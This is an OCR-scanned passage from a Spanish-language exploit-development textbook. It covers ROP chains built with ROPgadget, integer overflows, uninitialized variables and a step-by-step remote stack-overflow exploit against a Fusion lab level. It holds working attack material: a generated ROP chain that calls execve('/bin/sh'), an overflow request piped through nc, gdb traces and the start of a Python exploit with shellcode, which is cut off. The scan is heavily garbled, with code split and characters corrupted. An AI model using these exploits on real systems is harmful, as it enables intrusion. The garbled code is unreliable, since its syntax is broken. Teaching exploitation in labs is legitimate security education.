-map  j  <sta  fa  ■  er>d>  Sefe r fch  jbetweeo ‘  two  addrds^es  (OX . . I  - ix . , . ) 

.bj&h  fortar'ffefAlX  is  W:TOIW\  :  H  :  :  ‘ 

-perteyrr  H!ti 

* ciyn  yse::G  syntax.. 

_ rpftpsyn  j  |  ■  frse  jPUP  syntax/ _ 

Imagcn  05.06:  Opciones  de  ROPgadget. 

La  forma  mas  corriente  de  sacar  partido  a  esta  utilidad  es  proportionate  como  argument©  el  path  hacia 
un  ejecutable  o  librerfa  eompartida  y  elegir  el  lenguaje  del  exploit  a!  que  ira  destinado  el  nuevo  payload 
(por  defecto  es  Python). 

O  blackngetpbbc  ~/ROPgadget 

bladrogelgbbc : "/ftpPgadgetS  . /ROPgadget| -  - nocolor  /iib/i3&6 - linux - gnu / libc  *  so -  6 
Gadgets  informatSigi 

©x0O&0378a:  dec  edi  ;  ret 

0x&009BSee:  dec  esp  ^  ;r«t 

©xQeoeia&e:  pop  edx  ;  ret 

0x0000 202f:  xchg  <?bp,  eax  ;  ret 
0x00002t2f:  xchg  ebp.eax  ;  ret 
'0x00003094:  inc  ebx  ;  ret 

0x0006 38b4:  pop  esp  ;  ret 

Ox000064fc:  inc  eax  ;  ret 

■0x0000aaac:  nop  ;  ret 

0x000 I6f 86:  pop  ebx  ;  pop  esi  ;  pop  edi  ;  ret 

0x00816fSa:  pop  edi  *  ret 

&x0001700d:  pop  esi  ;  pop  edi  ;  pop  ebp  ;  ret 

8x800170Qf:  pop  ei>p  ;  ret  _ _ _ _ _ 

Tmagen  05.07:  Salidade  ROPgadget. 

Le  hemes  proporcionado  la  direccion  de  la  libreria  libc,  que  es  utilizada  por  todos  los  ejecutables 
presentes  en  los  sistemas  operativos  GNU/Linux.  A  continuation  mostramos  en  el  listado  el  resultado 
del  payload  obtenido: 
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i ! /usr/bin/python 

#  execve  generated  by  Ropgadget  v4.0.2 
from  struct  import  pack 

P  =  "  ' 

#  Padding  goes  here 

#  This  ROP  Exploit  has  been  generated  for  a  shared  object. 

#  The  addresses  of  the  gadgets  will  need  to  be  adjusted. 

#  Set  this  variable  to  the  offset  of  the  shared  library 


off  =  0x0 

P 

+—  pack("<IM 

,  off 

+ 

QxOOGf 2cf f ) 

# 

pop 

edx 

; 

pop 

eox  ;  pop 

eax  ; 

ret 

P 

+=  "AAAA"  # 

padding 

P 

+=  pack("<X" 

r  Off 

+ 

0x001a5ee0) 

# 

@  .data 

P 

+=  "AAAA"  # 

padding 

P 

+=  packed" 

,  off 

+ 

0x0002  4  03f) 

# 

pop 

eax 

t 

ret 

P 

+!=  11  /bin11  # 

/bin 

P 

+=  pack(,T<I" 

,  off 

+ 

0x0007  4 1 9  a) 

# 

mov 

DWORD 

PTR 

[ecx] , eax 

;  ret 

P 

+=  pack  ('*<!" 

,  off 

+ 

OxOOOf' 2cf  f ) 

# 

pop 

edx 

t 

pop 

ecx  ;  pop 

eax  ; 

ret 

P 

+=  nAAAA,r  # 

padding 

P 

+=  packC'CI" 

,  off 

+ 

0x00la5ee4 ) 

# 

@  .data 

+ 

4 

P 

+~  ,5  AAAA "  # 

padding 

P 

+-  pack ( "<I" 

f  off 

+ 

0x0002  4  03f) 

# 

pop 

eax 

; 

ret 

P 

+=  "//sh"  # 

//ah 

P 

+=  pack(,T<ITI 

,  off 

+ 

0x0007419a) 

# 

mov 

DWORD 

PTR 

[ecx] , eax 

;  ret 

P 

+=  pack  ( "<IM 

,  off 

+ 

OxOOOf 2cff) 

# 

pop 

edx 

t 

pop 

ecx  ;  pop 

eax  ; 

ret 

P 

+=  ”  AAAA ,T  # 

padding 

P 

+=  pack  { ,T<ITI 

,  off 

+ 

0x001a5eeS) 

# 

0  , data 

+ 

e 

P 

+=  11  AAAA ,T  # 

padding 

P 

+=  pack(,T<ITI 

,  off 

+ 

0x00032eb0) 

# 

xor 

eax, 

eax  ; 

ret 

P 

+=  pack ("Cl" 

,  off 

+ 

0x0007419a) 

# 

mov 

DWORD 

PTR 

[ecx] , eax 

;  ret 

P 

+=  pack  ( ,T<ITI 

f  off 

+ 

0x0001930e) 

* 

pop 

ebx 

f 

ret 

P 

-+=  pack  ( ,T<lTI 

,  off 

+ 

OxQOlaSeeO) 

* 

@  .data 

P 

+-  pack{,T<lTI 

f  off 

+ 

0x00  0  f 2cf f ) 

# 

pop 

edx 

; 

pop 

ecx  ;  pop 

eax  ; 

ret 

P 

+=  11  AAAA1 17  # 

padding 

P 

+=  pack  ( 

,  off 

+ 

0x00la5eeB) 

# 

0  . data 

+ 

8 

P 

+=  ,TAAAA,T  # 

padding 

P 

■+-  pack{,T<ITI 

,  off 

+ 

0x00  0  Ola  9e) 

# 

pop 

edx 

; 

ret 

P 

-f—  pack{,T<IT’ 

,  off 

0x00la5ee8} 

# 

0  .data 

+ 

8 

P 

+=  pack(,T<ITI 

f  off 

+ 

0x0G032eb0) 

# 

xor 

eax, 

eax  r 

ret 

P 

+=  pack(,T<IM 

,  off 

+ 

0x000064fc) 

# 

inc 

eax 

i 

ret 

P 

+=  pack  { ,T<ITI 

,  off 

0x00  0  064f c ) 

# 

inc 

eax 

t 

ret 

P 

-i-=  pack  ( ,T<ITI 

,  off 

+ 

0x00  0  064  fc) 

# 

inc 

eax 

; 

ret 

P 

-1-=  pack{IT<IT' 

,  off 

+ 

0x00  0  064  fc) 

# 

inc 

eax 

; 

ret 

P 

pack  TT<1 Tl 

,  off 

+ 

0x00  0064  fc) 

# 

inc 

eax 

; 

ret 

P 

+-  packCT<ITI 

,  off 

+ 

0x00  0  064  fc) 

# 

inc 

eax 

t 

ret 

P 

+=  pack{,T<l” 

,  off 

+ 

0x00  0  064  fc ) 

# 

inc 

eax 

; 

ret 

P 

+=  pack  { "d" 

t  off 

+ 

0x00  0  064  fc) 

# 

inc 

eax 

; 

ret 

P 

+*■  pack  |  "<I Tl 

,  Off 

+ 

0x00  0  064f c) 

# 

inc 

eax 

; 

ret 

P 

+  -  packr'<In 

,  off 

+ 

0x00  0064f c) 

# 

inc 

eax 

i 

ret 

P 

+=  pack { "<I " 

,  off 

+ 

0x00 0  064f c ) 

# 

inc 

eax 

; 

ret 

P 

+=  pack  (n<XTI 

,  off 

+ 

0x00  02e265 ) 

# 

int 

0x80 

print  p 


Si  desgranamos  ima  por  una  las  an  ten  ores  instrucciones,  comprenderemos  rapidamente  el  esquema 
utilizado.  Primero  se  crea  en  la  secekin  .data  de  la  libreria  una  cadena  /bin/sh\o  y  lucgo  se 
configuran  I  os  registros  necesarios  pararealizar  la  llamada  del  sistema  quedando  de  la  siguiente  forma: 
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EBX  =  & [ /bin/ sh\G ] 

ECX  =  SrfNULLJ 
EDX  =  &[NULL] 

Por  ultimo  el  registro  EAX  se  vaeia  y  se  incrementa  hasta  alcanzar  un  valor  hexadecimal  Qxb,  que 
segun  la  tabla  de  syscalls  que  ya  hemos  mostrado  invoca  una  llamada  a  execve (const  char 
* filename,  char  * const  argv[],  char  * const  envp[]); 

Ademds,  RQPgadget  nos  avisa  que  sc  trata  de  un  objeto  compartido  y  por  lo  tanto  construye  el  payload 
de  modo  que  el  codigo  sea  independiente  de  la  posicion  (PIC).  El  exploiter  debera  introducir  en  la 
variable  off  la  direccion  base  de  la  libreria  compartida  que  haya  obtenido  durante  el  proceso  de  analisis 
de  sii  ataque.  La  seed  on  7.10  de  este  libro  muestra  un  ejemplo  practico  y  elegante  de  como  lograr 
dieho  objetivo. 


Nota 


Compruehe  que  su  payload  ROP  funciona  correetamente  y  en  caso  contrario  realiee  las 
modificaeiones  neeesarias  para  depur ar  el  error.  Las  herramientas  de  busqueda  automatieas 
no  son  per  le  etas,  y  no  seria  la  primera  vez  que  la  earga  no  se  genera  del  modo  adeeuado 
en  el  primer  intento. 


En  resumen,  la  tecnica  ROP  busca  ejecutar  funciones  que  se  encuentren  siempre  en  zonas  eslaticas  o 
predeeibles  y  utilizar  la  pi  la  unicamente  como  depdsito  dc  parametros  para  dichas  funciones  pero 
nunca  para  ejecutar  instrucciones  directamente.  Es  por  ello  que  en  los  sistemas  operativos  de  la  casa 
Microsoft,  donde  la  proteccion  DEP  tiende  a  venir  implantada  por  defecto,  los  exploits  son  di  sen  ad  os 
para  ejecutar  llamadas  como  las  siguientes: 

-  VirtualAlloc() 

-  VirtualProtectQ 

-  HeapCreate() 

-  WriteProcessMemoryO 

-  N  tS  et  Informat  i  onProcess() 

-  SetProcess  DEP  P  oli  cy  ( ) 

Con  ello  se  logra  bien  desactivar  la  proteccion  DEP  para  el  binario  vulnerable  o  bien  crear  una  zona 
de  datos  marcada  como  ejecutable  donde  se  pueda  establecer  un  shellcode  personal  izado.  Final  mente, 
la  cadena  ROP  quedara  constituida  por  las  direcciones  de  estas  llamadas  de  sistema,  los  argumentos 
que  se  les  facilitan  y  series  de  instrucciones  pop;  ret;  que  permiten  a  I  atacante  desplazarse  por  la  pila 
y  utilizar  un  numero  de  argumentos  variables, 

En  Linux  tambien  podemos  utilizar  el  metodo  ROP  para  llevar  a  cabo  tecnicas  del  tipo  Return  into 
Elbe  cuando  se  trata  de  una  plataforma  de  64  bits  como  x86  64.  En  un  sistema  de  64  bits  los 
argumentos  a  las  funciones  se  pasan  a  Iraves  de  los  registros  y  no  median te  el  stack.  Por  ejemplo,  la 
llamada  a  system  ()  requiere  que  el  registro  RD1  contenga  la  direccion  de  la  cadena  que  se  ejecutara 
como  comando  del  sistema.  Gracias  a  tecnicas  como  Return  Oriented  Programming,  podemos 
sobrescribir  EIP  eon  la  direccion  de  una  secuencia  pop  %rdi retq;  que  tome  la  siguiente  direccion 
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ubicada  en  la  pi  la  y  luego  proeeda  a  ejecutar  la  llamada  de  sistema.  La  siguieme  ilustracion  muestra 
un  ataque  a  una  posible  aplicacidn  vulnerable. 


Imagen  05.08:  Inyeccion  en  una  arquiteetura  x86  64. 


En  deflnitiva,  ROP  no  es  mas  que  una  generalization  de  un  ataque  Return  to  Li  be  en  la  que  se 
sustituyen  las  llamadas  diTectas  al  sistema  por  gadgets  o  pequenos  fragmentos  de  codigo  que 
encadenan  las  instrueciones  necesarias  para  evadir  las  protecciones  modern  as  estableeidas  por  I  os 
sistemas  operatives,  No  obstante,  ambas  tecnieas  pueden  combinarse  cuando  todas  las  direcciones 
requeridas  puedan  ser  predecibles. 


5.5.  Integer  overflows 

Deseam  os  ofrecer  en  esta  sec  cion  una  breve  pined  ada  aeerea  de  lo  que  es  un  desbordamiento  de 
enteros  y  como  sacar  provecho  de  el  los.  De  entre  las  vulnerabilidades  que  hemos  visto  hasta  el 
momenta,  los  integer  overflow  no  son  los  mas  sencillos  de  localizar.  Ademas,  un  overflow  de  entero 
puede  pro vo car  comportamientos  indelinidos  en  la  aplicacion,  terminar  en  una  denegacion  de  servicio, 
o  bien  conducir  had  a  alguna  clase  de  buffer  overflow  siempre  que  ese  entero  tome  parte  como 
elemento  de  indexacion  de  un  array. 

Un  entero  es  una  variable  almacenada  en  una  zona  de  memoria.  Esta  zona  o  espacio  es  iimitado,  en  un 
sistema  de  32  bits  (arquiteetura  IA32)  un  entero  oc  a  para  32  bits  y  en  un  sistema  de  64  bits,  como 
x86_64  o  AMD64,  un  entero  oeupara  64  bits.  Y  esto  es  import  ante,  pues  constituye  un  indicative 
fehaciente  de  que  esta  clase  de  variables  poseen  un  valor  I  finite  que  no  debena  ser  sobrepasado. 

Un  entero  sin  signo  de  32  bits  tiene  como  valor  maximo  4294967296.  Debemos  aclarar  por  lo  tanto 
que  existen  dos  tipos  de  entero:  los  que  tienen  signo,  y  los  que  no  lo  tienen.  Aquellos  que  tienen  signo 
utilizan  su  bit  mas  significative  (MSB)  como  senalizador  de  si  el  valor  almacenado  en  la  variable  es 
positi vo  o  negative.  Los  enteros  sin  signo  o  unsigned,  s  implements  no  pueden  aimacenar  valores 
negatives. 

Con  estos  eonceptos  en  mente,  echemos  un  vistazo  a  los  ranges  exactos: 


Tipo 

Minimo  Maximo 

int 

-2147483648  2147483647 

unsigned  int 

0  4294967296 
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Tipo 

Minimo 

Maximo 

short 

-32768 

32767 

unsigned  short 

0 

65536 

Tab  I  a  05.01:  Ranges  de  va  lores  enleros 


Conociendo  estos  valores,  el  lector  deberia  preguntarse  cual  es  el  resultado  correcto  de  la  siguiente 
operation: 

var  -  Oxffffffff  +  0x01 

Tedricainente  el  resultado  es  oxioooooooo,  pero  dado  que  nuestra  variable  no  puede  contener  un  valor 
superior  a  32  bits,  el  resultado  se  trunea  sin  dar  mas  importancia  a  los  bits  sobrantes  por  la  izquierda, 
de  modo  que  el  resultado  final  sera  0x00 oooooo. 

Una  vez  tenemos  claros  los  coneeptos  generales  podemos  pasara  ver  que  condi  clones  pueden  provoear 
el  problems.  El  eddigo  que  listamos  a  continuacidn  es  un  minusculo  ejemplo  de  lo  que  represents  un 
estilo  de  programacion  inseguro. 

# include  <unistd.h> 
tinclude  <stdio.h> 

^include  <stdlib.h> 

void  check_id {unsigned  int  id) 

t 

if (  id  >  10  )  { 

printf ( " \nID  -  %u\n'Vr  id); 
execl  { ,T/bin/shr'  ,  1rsh ",  NOLL); 

}  else  { 

printf ( nNot  today  sOn\n,T)  ; 

} 

} 

int  main (int  arge,  char  *argv [ ] ) 

{ 

int  id; 

sscanf  (argv  [  1  ]  ,  ,T%dTI  ,  &id)  ; 
if (  id  >  10  >  { 

print f (nErm, „ . ,no\n") ; 
exit (-1 } ; 

} 

check_id.(id)  ; 
return  0; 

) 


El  analisis  es  rapido:  Si  nuestro  objetivo  es  ejecutar  el  shell,  parece  que  primero  debemos  desencadenar 
la  llamada  a  check  idu  y  para  ello  id  tiene  que  ser  un  valor  inferior  a  10.  Pero  una  vez  entramos 
dentro  de  die  ha  funcion,  ia  shell  solo  sera  ejecutada  si  id  es  superior  a  10. 

iCdmo  es  posible  atacar  el  problems?  Dentro  de  mainO,  la  variable  id  es  declarada  como  int  (con 
signo),  lo  cual  quiere  deeir  que  acepta  tanto  valores  positives  como  negativos.  En  cambio,  check  id ( ) 
recibe  este  valor  como  un  unsigned  y  por  lo  tanto  no  acepta  valores  negativos.  Esto  tiene  un  efecto 
desastroso;  si  nosotros  introducimos  como  argumento  un  valor  de  -1,  id  pasara  limpiamente  el  primer 
chequeo,  ya  que  es  mas  pequefio  que  10.  No  obstante,  cuando  esta  variable  es  reeogida  por  la  funcion 
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check  io  0 ,  se  produce  un  cast  a  unsigned.  Lo  que  ocurre  es  que  id  se  transforma  en  el  penultimo 
valor  mas  grande  que  puede  alcanzar  un  unsigned.  Veamoslo: 

blackngelObbc : gcc  ovi .  c  -G  ovi 

bla.ckngel@bbc  ./ovi  -1 

ID  -  4294967295 

sh^3.2$  exit 

exit 

blackngei@bbc : 


Este  ejemplo  ha  sido  instructive,  aunque  no  representa  toda  la  realidad  sobre  las  consecuencias  de  un 
integer  overflow  ya  que  el  problema  se  produce  al  rcalizar  el  cast  y  no  al  desbordar  el  emero, 
Estudiemos  otro  ejemplo: 

♦  include.  <stdio.h> 

# include  <string.h> 

♦include  <stdlib.h> 

int  main ( int  arge,  char  *argv[]} 

( 

int  len; 

■unsigned  int  1; 
char  buffer[256]; 
int  i; 

len  -  1  =  strtoul (argv [1] ,  NULL,  10); 
printf  (T'\nL  =  %u\nf',  1); 
printf  (  " \nLEN  =  %d\n"r  len); 
if  {  len  >=256  )  { 

printf ( M \nLongitud  excesiva\nM) ; 
exit (1)  ; 

1 

if  (  strlen (argv [2]  )  <  1  ) 
strepy (buffer,  argv [2]); 

else 

printf  (" \nIntento  de  HACK\n,T)  ; 
return  0; 

1  


El  programa  solicits  dos  argumentos:  el  primero  de  ellos  es  la  longitud  de  la  cadena  que  sera  pasada 
como  segundo  parametro.  Ya  que  el  buffer  tiene  un  tamaflo  arbilrario,  debemos  controlar  que  ese  valor 
no  sea  superior  a  256,  eso  es  lo  que  hace  la  sentencia: 

if  (  len  >=  256  ) 

El  usuario  puede  intentar  enganar  al  programa  indieandole  que  entrega  una  cadena  de  200  earacteres 
de  largo  y  pasando  en  realidad  un  string  mas  largo.  Para  evitar  esto,  se  comprueba  la  longitud  de 
argv [2;  antes  de  copiar  su  contenido  finalmente  al  buffer: 

if  (  strlen {argv [2] )  <  1  ) 
strepy (buffer,  argv[2]); 

El  error  radiea  en  que  la  primera  comprobacion  se  ha  realizado  sobre  un  mt  que  en  este  caso  era  la 
variable  len,  y  la  segunda  sobre  la  variable  l  que  es  unsigned  int,  Veamos  una  ejecucion  normal: 

blackngeldbbc  :  gcc-3.3  ovi2  .  c  -o  ovi2 

blackngelObbc : . /ovi2  200  'perl  -e  ’print  '^"xSOO1' 
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L  =  200 
LEN  =  200 
Intento  de  HACK 
blackngel @bbc : 


Tenemos  elaro  que  este  era  el  dasico  intento  para  enganar  al  programa.  A  bora,  ^que  octirre  si  logramos 
desbordar  la  variable  len?*  Recordemos  que  el  valor  mas  grande  que  puede  almacenar  es:  2147483647. 
Si  proporcionamos  un  valor  superior  esta  cambiara  de  signo.  La  variable  unsigned  mt  l  si  puede 
almacenar  ese  valor.  Tomemos  como  ejemplo  el  valor  3147483648.  Esto  provocarit  la  siguiente 
catastrofe: 

3147483648  ->  len  =  -1147483648 
3147483646  ->  1  =  3147483648 

if  (  -1147483648  >=  256  )  ->  FALSE  /*  El  programa  continua  */ 
if  {  strien(argv[2] )  <  3147483648  ) 

Lo  cual  quiere  dedr  que  e!  primer  chequeo  es  superado,  y  cualquier  argvfi]  con  una  longitud  inferior 
a  3 1 47483648,  sera  copiado  dentro  del  buffer. 

blackngel@bbc; gdb  -q  . /ovi2 
{gdb)  run  3147483648  'perl  -e  Tprint  nAHx30Qr' 

Starting  program:  /hoifte/blackngel/avi-2  3147483648  'perl  -e  "print  llA"x3:Q'0'1  ' 

L  -  3147483648 
LEM  =  -1147483648 

Program  received  signal  SXGSEGV,  Segmentation  fault. 

0x41414141  in  ??  () 

{gdb) 


Para  terminal  y  coino  ejemplo  veridico  de  esta  clase  de  errores  en  d  mundo  real  vamos  a  echar  un 
rapido  vistazo  a  una  clasica  y  conocida  vulnerabilidad  descubierta  en  OpenS SH  3.3. 

nresp  =  packet_get_int O ; 
if  {nresp  >0)  { 

response  =  xmalloc (nresp*sizeof {char*) ) ; 

for  (i  =  0;  i  >  nresp;  i++)  response [i]  -  packet_get_string {NULL) ; 

} 


Los  valores  obtenidos  inediante  las  fiinciones  packet  get  int  ( )  y  packet  get  stringo  son 
proporcionados  por  el  usuario,  esto  nos  da  la  posibilidad  de  otorgar  un  valor  grande  a  la  variable  nresp 
que  ser&  multiplicada  por  sizeof  (char* ) .  Sabemos  que  un  puntero  en  la  arquitectura  IA32  ocupa  4 
bytes,  de  ttio do  que  nuestro  entero  sera  multiplicado  por  4  consiguiendo  asi  desbordarlo  y  haeer  que 
en  realidad  se  produzca  una  llamada  a  xm^iioc  (0) ,  Si  un  trozo  de  este  tamano  es  devuelto  en  el  heap, 
luego  un  bucle  largo  ira  modificando  todos  los  metadatos  que  se  encuentren  en  esta  zona  con  valores 
controlados  por  el  atacante, 

Esta  es  la  base  del  problema,  a  parti r  de  aqui  puede  seguir  investigando.  Piense  que  la  mayoria  de  los 
desbordamientos  de  entero  se  producen  por  operaciones  aritmelieas  en  las  que  no  se  comprueba  si  el 
resultado  puede  ser  almacenado  en  la  variable  destino* 
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Si  im  program  ad  or  declara  una  variable  pern  no  define  su  contenido  initial,  el  valor  real  pre  sente  en 
la  direction  de  memoria  asignada  no  se  puede  predecir.  El  uso  posterior  de  esta  variable  podria  dar 
lugar  a  errores  de  software  dificiles  de  detectar.  For  motivos  de  eficiencia,  ni  epllogos  ni  prologos  de 
funcion  se  encargan  de  limpiar  el  contenido  de  los  marcos  de  pila  que  se  van  generando  en  el  transcurso 
de  ejecucion  de  un  proceso,  En  con  seen  end  a,  aquellos  val  ores  que  hay  an  si  do  proporc  ion  ados  a  las 
variables  locales  de  una  funcion,  no  scran  eliminados  y  podrian  llegar  a  constituir  el  contenido  de 
variables  no  inicializadas  en  otra  funcidn.  Considers  el  siguiente  ejemplo; 

finclude  <stdio . h> 
void  fl Unsigned  int  val) 


unsigned  int  i  =  val; 
printf ( " [ f 1 ]  i  =  %u\n" f  i); 
return; 

1 

void  f2 (unsigned  int  val) 

{ 

unsigned  int  i; 

printf {" [f2]  i  =  %u\n",  i) ; 

if  (  i  =ii  Oxdeadheef  ) 


system { 11 /bin/ sh11)  ; 


return; 


int  main (int  arge,  char  **argv) 


if  (arge  ==  1  ) 
return  0; 

fl (strtoul (argv  [1] ,  NOLL,  10)); 
f 2 ( strtoul ( argv [1] ,  NULL,  10)); 
return  0; 


Si  contemplasemos  de  forma  aislada  la  funcion  f2  (),  descubririamos  un  error  evidente;  aunque  esta 
recibe  un  valor  proporcionado  por  el  usuario,  la  variable  local  i  no  ha  side  correctamente  inicializada, 
y  por  lo  tanto  la  shell  no  llegara  a  ejeeutarse.  La  realidad,  como  a  menudo  ocurre  cn  el  mundo  de  las 
vulnerabilidades,  es  bien  distinta.  Lo  cierto  es  que  el  marco  de  pila  generado  euando  el  program ador 
invoca  a  f 2  () ,  es  identico  que  euando  se  llama  a  no,  lo  que  es  mds,  esta  ultima  liamada  asigna  un 
valor  arbitrario  en  la  direction  de  memoria  que  corresponde  a  la  variable  i. 


0  '  blackngeL^bbc  - 


bla<kn;;<-l#>bc>-5  1 


Imagen  05.09:  Ejemplo  de  variables  no  inicializadas. 


La  anterior  ilustracion  demuestra  el  peligro  que  representan  estos  errores.  Muchas  veces  los 
comp il adores  pueden  detectar  el  uso  ineorreeto  de  datos  no  inicializados,  pero  dicho  comportamiento 
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varia  segun  que  casos.  En  nuestro  programa  de  ejemplo,  GCC  solo  avisa  al  usuario  si  esle  espedfiea 
el  modificador  -w  entre  las  opciones  de  compilacion.  Observe  la  diferencia: 


Tmagen  05.10;  Advenencia  del  compilador  GCC. 


Por  desgracia,  el  mundo  real  es  mucho  mas  complejo  que  estos  sencillos  ejemplos.  Un  cotnpilador  no 
advierte  al  programador  si  este  ha  hecho  uso  de  una  variable  no  inicializada  que  ha  sido  pasada  como 
referenda  a  otra  fun  cion.  Un  analisis  estatico  de  codigo  no  es  suficiente  para  deteetar  el  uso  ineorrecto 
de  punteros  a  variables  no  asignadas. 


5.7.  Exploits  Remotos 

Con  el  fin  de  demostrar  que  todas  las  tecnicas  que  hemos  estudiado  hasta  e!  momento  tambien  son 
apli  cables  en  un  entorno  renioto,  por  ejemplo  un  servidor  web  o  ftp  que  se  encuentra  a  la  escucha  en 
an  puerto,  disenaremos  paso  a  paso  un  exploit  para  Lino  de  los  rctos  que  se  encuentran  en  la  maquina 
virtual  Fusion  de  la  pagina  oflcial  de  Exploit  Exercises. 

Se  trata  de  una  aplicacion  vulnerable  a  stack  overflow  que  escucha  pelieiones  GET  por  el  puerto  20001 
y  que  dispone  del  mecanismo  de  proteccion  ASLR  activado.  A  continuacion  listamos  el  codigo  fuente: 

01  # include  " .  ,  /common /common .  cT" 

02 

03  int  fix  path (char  *path) 

04  { 

05  char  resolved [128] ; 

06 

07  if  (realpath (path,  resolved)  =  NULL)  return  1;  //  can’t  access  path,  will  error 
trying  to  open 

08  strcpy (path,  resolved); 

09  } 

10 

11  char  *parse_http_request () 

12  { 

13  char  buff  er  [1024] 

14  char  *path; 

15  char  *q; 

16 

17  //  pr int f {" [debug]  buffer  is  at  0x%08x  :-)\n"f  buffer);  :D 

18 

19  if(read(0jr  buffer,  si zeof (buffer) }  <=  0)  errx(G,  "Failed  to  read  from  remote 

host" )  ; 

2  0  if  (memcmp  [buffer,  "GET  ",  4)  !=  0)  errx(0,  "Not  a  GET  request" ); 

21 

22  path  =  £buffer[4]; 

23  q  =  strchr  (path,  *  1  ) 
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24  if(!  q)  errx(0,  "Ho  protocol  version  specified”); 

25  *q+  +  =  0; 

26  if ( strncmp (q,  "HTTP/1 .  1” ,  8)  1=  0)  errx  [0f  "Invalid  protocol")*; 

27 

28  fix_patb  (path)  ; 

29 

30  pr  intf  (  M  trying  to  access  ,  path); 

31 

32  return  path; 

33  } 

34 

35  int  main  [int  argc,  char  **argv,  char  **envp) 

36  ( 

37  int  fd; 

36  char  *p; 

39 

40  backgronnd_process (NAME,  UID,  GID) ; 

41  fd  **  se  rv  e_f  or  ever  (PORT)  ; 

42  set_io(fd); 

43 

44  parse_http_request  ()  ; 

45  } 


El  formato  de  la  URL  que  se  le  proporciona  al  programa  es:  *‘get  /direct or io_o_archivo 
http/ l.i”  Dicha  peticion  puede  convener  hasta  1024  bytes,  pero  la  funcion  reaipatho  utilizada 
dentro  de  fixjathf)  intentard  copiar  el  arebivo  solicitado  y  previamente  filtrado  a  un  buffer  cuya 
capacidad  es  tan  solo  de  128  bytes.  For  lo  tanto  tenemos  un  overflow  en  la  pi  la  y  una  posibilidad  para 
ejecutar  codigo  arbitrario  remotamente. 

Utilizaremos  el  depurador  GDB  para  analizar  el  comportamiento  del  programa  vulnerable  en  la 
maquina  virtual.  Lo  primero  que  debemos  hacer  es  obtener  su  identificador  de  proceso  o  RID  para 
luego  caplurarlo  con  GDB.  Ademas,  ya  que  se  trala  de  una  comunicacibn  cliente-servidor  en  la  que 
este  ultimo  genera  nuevas  copias  del  proceso  per  eada  peticion*  le  indicaremos  al  depurador  que 
siempre  persiga  por  defecto  al  nuevo  proceso  hijo  creado  que  sera  objeto  del  desbordamiento. 

rootdfusion : /opt/fusion/bin#  ps  -ax  |  grep  levelOl 
1255  ?  Ss  0:00  /opt/ f usion/bin/levelOl 

rootgfusion: /opt/fusion/bin#  gdb  -q  . /levelOl  1255 
(gdb)  set  f ol low-fork-mode  child 


Ahora  generaremos  una  peticion  maliciosa  desde  el  host  eliente: 

blackngel@bbc : perl  -e  'print  "GET  /"."AMxl50  ■  "  HTTF/1 . 1" . °\x90"xlG0  .  "\n\n"r  | 

nc  192. 168. 1.135  20001 


Observ  e  que  situamos  un  col  chon  de  NOPs  al  final  de  la  cadena  puesto  que  la  funcion  strepy  n  dentro 
de  fix  path  o  podri'a  alterar  datos  al  comienzo  de  nuestra  peticion. 

En  la  maquina  atacada  invocamos  el  comando  continue  y  observamos  el  resultado: 

(gdb)  c 
Continuing. 

LNew  process  1903} 

Program  received  signal  SIGSEGV,  Segmentation  fault. 
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[Sitching  to  process  1903] 
0x41414141  in  ??  0 
{ gdb )  i  r 


eax 

0x1  1 

ecx 

0xl2c8dG 

1231056 

edx 

Gxb£aa7dc7 

-1079345721 

ebx 

0x2dl f f 4 

2957300 

esp 

Oxbf aa7dc0 

Oxbf aa7dc0 

ehp 

0x41414141 

0x41414141 

esi 

Oxbf aa7e7c 

-1079345540 

edi 

0x3G49edl 

134520529 

eip 

0x41414141 

0x41414141 

Efectivamente  tenemos  la  capacidad  de  controlar  el  registro  EIP.  La  pregunta  ahora  es  hacia  donde 
redirigir  el  flujo  de  ejecucion  si  A  SLR  puede  haeer  que  la  direecion  del  buffer  vulnerable  varie  en  cada 
ejecucion.  Echemos  un  vistazo  a  la  memoria  apuntada  por  los  registros  obtenidos  en  el  paso  anterior; 

(gdb)  x/4x  Sesp 

Qxbfaa7dc0:  0x41414141  0x00414141  0x00000004  Qx001761e4 

(gdb)  x/4x  Sesi 

0xbfaa7e7c:  0x90909090  0x90909090  0x90909090  0x90909090 

(gdb) 


Vemos  que  el  registro  ESI  apunta  directamerue  a  lo  que  podria  ser  nuestro  shellcode.  Laprimera  idea 
que  se  nos  ocurre  es  sobreseribir  la  direecion  de  retorno  guardada  con  una  direecion  que  apunte  hacia 
una  instruccion  como  jmp  esi,  call  esi  o  push  esi;  ret;  y  por  lo  tanto  se  ejecute  el  codigo 
el  eg  i  do.  Por  desgracia,  el  binario  . /level  oi  no  conliene  diehas  instrucciones  eii  su  interior.  A  pesar 
de  este  inconveniente,  todavia  disponemos  de  otra  so lu cion  elegante.  El  registro  ESP  lambibn  apunta 
a  datos  proporcionados  por  el  usuario,  concretamente  justo  despues  dc  la  direecion  de  retorno 
guardada,  por  lo  que  podriamos  introducir  manualmente  los  opcodes  de  una  instruccion  jmp  esi  y 
luego  redirigir  EIP  hacia  una  instruccion  jmp  esp.  Una  ilustracion  lo  aclarara  todo. 


Como  ya  vimos  antes  en  este  capitulo,  podemos  usar  Metasploit,  que  viene  instalado  en  la  tnaquina 
virtual  Fusion,  para  busear  las  direcciones  que  nos  tnteresan.  Nosolros  optaremos  por  descargar  la 
suite  de  Radare2  mediante  el  comando  apt -get  que  nos  sera  muy  util  para  nuestro  objetivo. 

root^fusion: /opt/fusion/bin#  r2  ,/levelOl 
[0x08048b70] >  /c  jmp  esp 
f  hlt_0  @  0x08049f4f  #  2t  jmp  esp 

f  hit_l  @  0xQ8D49f8f  #  2:  jmp  esp 

root@ fusion : /opt/ fusion/bin#  rasm2  Tjmp  esiT 
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Ya  tenemos  todo  lo  que  necesitamos.  De  hecho,  la  utilidad  rasm2  es  an  arma  de  doble  iilo,  ya  que  con 
su  paTametro  -d  podemos  utilizarla  en  modo  in  verso  para  obtener  las  instrucciones  en  ensamblador  a 
parti r  de  eualquier  opcode  proporcionado  como  argumento. 

Ahora  solo  nos  queda  construir  el  exploit  Utilizaremos  Python  para  la  oeasion. 

from  socket  import  * 
from  struct  import  * 

she  11  code  =  by  tear  ray  ( Tl  \x3 1  \xcQ  \x31\xc0b\x3 1 \xc9\x31 \xd2  \xbO  \x6  6 ,T 
"  \  xb3 \xQl\x51\x6a\xQ  6\x6a\x01\x6a\xG2 \x8  9 11 
"\xei\xcd\xS0\x89\xc6\xbQ\x66\xb3\x02\x52" 

11  \  x66\x68  \x7a\x69\x66\x53  \x8  9\xel\x6a\xl0 ,T 
,T\x51  \  x5  6\x8  9\xel\xcd\x8  0 \xbG \x66\xb3\xG4 " 

